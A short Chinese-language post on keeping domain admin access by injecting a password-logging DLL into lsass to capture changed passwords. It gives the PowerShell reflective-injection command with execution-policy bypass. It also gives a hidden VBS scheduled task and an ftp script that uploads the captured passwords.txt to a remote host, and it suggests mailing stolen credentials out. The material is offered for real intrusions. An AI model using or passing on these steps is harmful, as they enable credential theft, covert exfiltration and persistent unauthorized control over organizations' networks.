维持域管权限的一些简单办法[ Hook PasswordChangeNotify ]

可利用 Hook PasswordChangeNotify 的方式,无需重启系统,且能实时记录修改的密码,只要目标机器不重启一般都不会失效,具体方法很简单,首先,准备好 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 [主要是用它来把我们事先准备好的 HookPasswordChange.dll 注入到 lsass 进程中,这里有点类似劫持的意思],实际渗透中,并不一定非要把它记录在目标系统的本地文件中[记录到的密码默认放在c:\windows\temp\passwords.txt文件中],你也可以尝试直接把记录到的账号发送到远程指定的邮箱中[有人已提供改进过的dll],自己去谷歌找找,应该可以找到,下面是在本地测试的实际效果:

# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}"

实际的效果如下

番外：

实际过程中如果管理员修改了密码，我们是要将passwords.txt传送出来的。

将VBS脚本放到任务计划书里，按时执行，VBS代码如下

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c ftp -s:E:\xxx\ftp.txt",vbhide

ftp.txt的内容为：

open xxx.xxx.xxx.xxx
ppp
123456
put c:\windows\temp\passwords.txt
bye